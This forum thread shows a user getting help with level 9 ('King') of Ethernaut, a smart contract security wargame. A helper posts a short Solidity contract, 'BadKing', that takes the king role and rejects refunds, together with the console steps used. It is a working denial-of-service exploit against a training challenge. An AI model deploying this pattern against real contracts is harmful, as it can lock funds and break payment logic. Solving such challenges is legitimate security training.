Caladay
1
Hi,
I’m having issue while trying to solve level 9 of Ethernaut. I understand how to solve it but It doesn’t work somehow and I have no idea why. I tried to implement various solutions found here :https://medium.com/coinmonks/ethernaut-lvl-9-king-walkthrough-how-bad-contracts-can-abuse-withdrawals-db12754f359b and https://github.com/tsauvajon/ethernaut/tree/master/07-force without success.
I click on “get a new instance” and deploy the following contract (from Nicole Zhu) in remix IDE
Then I replace the value MY_INSTANCE_ADDRESS by the one given in Ethernaut.
What am I doing wrong ?
1 Like
Hi @caladay,
Sorry that you are having issues. I appreciate the frustration when you know how to solve the level but something is wrong with the steps.
I assume that when you created your contract you also included a value of 1 ether.
You could try the following method that I used just now.
First I got a new instance.
I then got the address from my browser console:
contract.address
"0xE70Fbe4D9017420ca000853A66A51D12F0dF5857"
Next, I deployed the following contract in Remix (address: 0xFD4d514EAae6f459B6C74cc6D4f478d9D2eE28AB)
BadKing.sol
pragma solidity ^0.5.0;
contract BadKing {
function becomeKing(address king) public payable {
(bool result, bytes memory data) = king.call.value(msg.value)("");
if(!result) revert();
}
// OMG NO PAYABLE FALLBACK!!
}
I then used Remix to call becomeKing
with a value of 1 ether.
I checked that my BadKing contract was now the king from my browser console.
await contract._king()
"0xFD4d514EAae6f459B6C74cc6D4f478d9D2eE28AB"
Finally I submitted my instance.
Dear Abcoathup,
Thank you very much, I followed your detailed walkthrough and it worked.
I will try to understand what I missed with Nicole Zhu solution.
Best,
Caladay
1 Like
Hi @Caladay,
Were you able to solve the level?
Caladay
5
Hi,
Yes I was.
Thank you very much
1 Like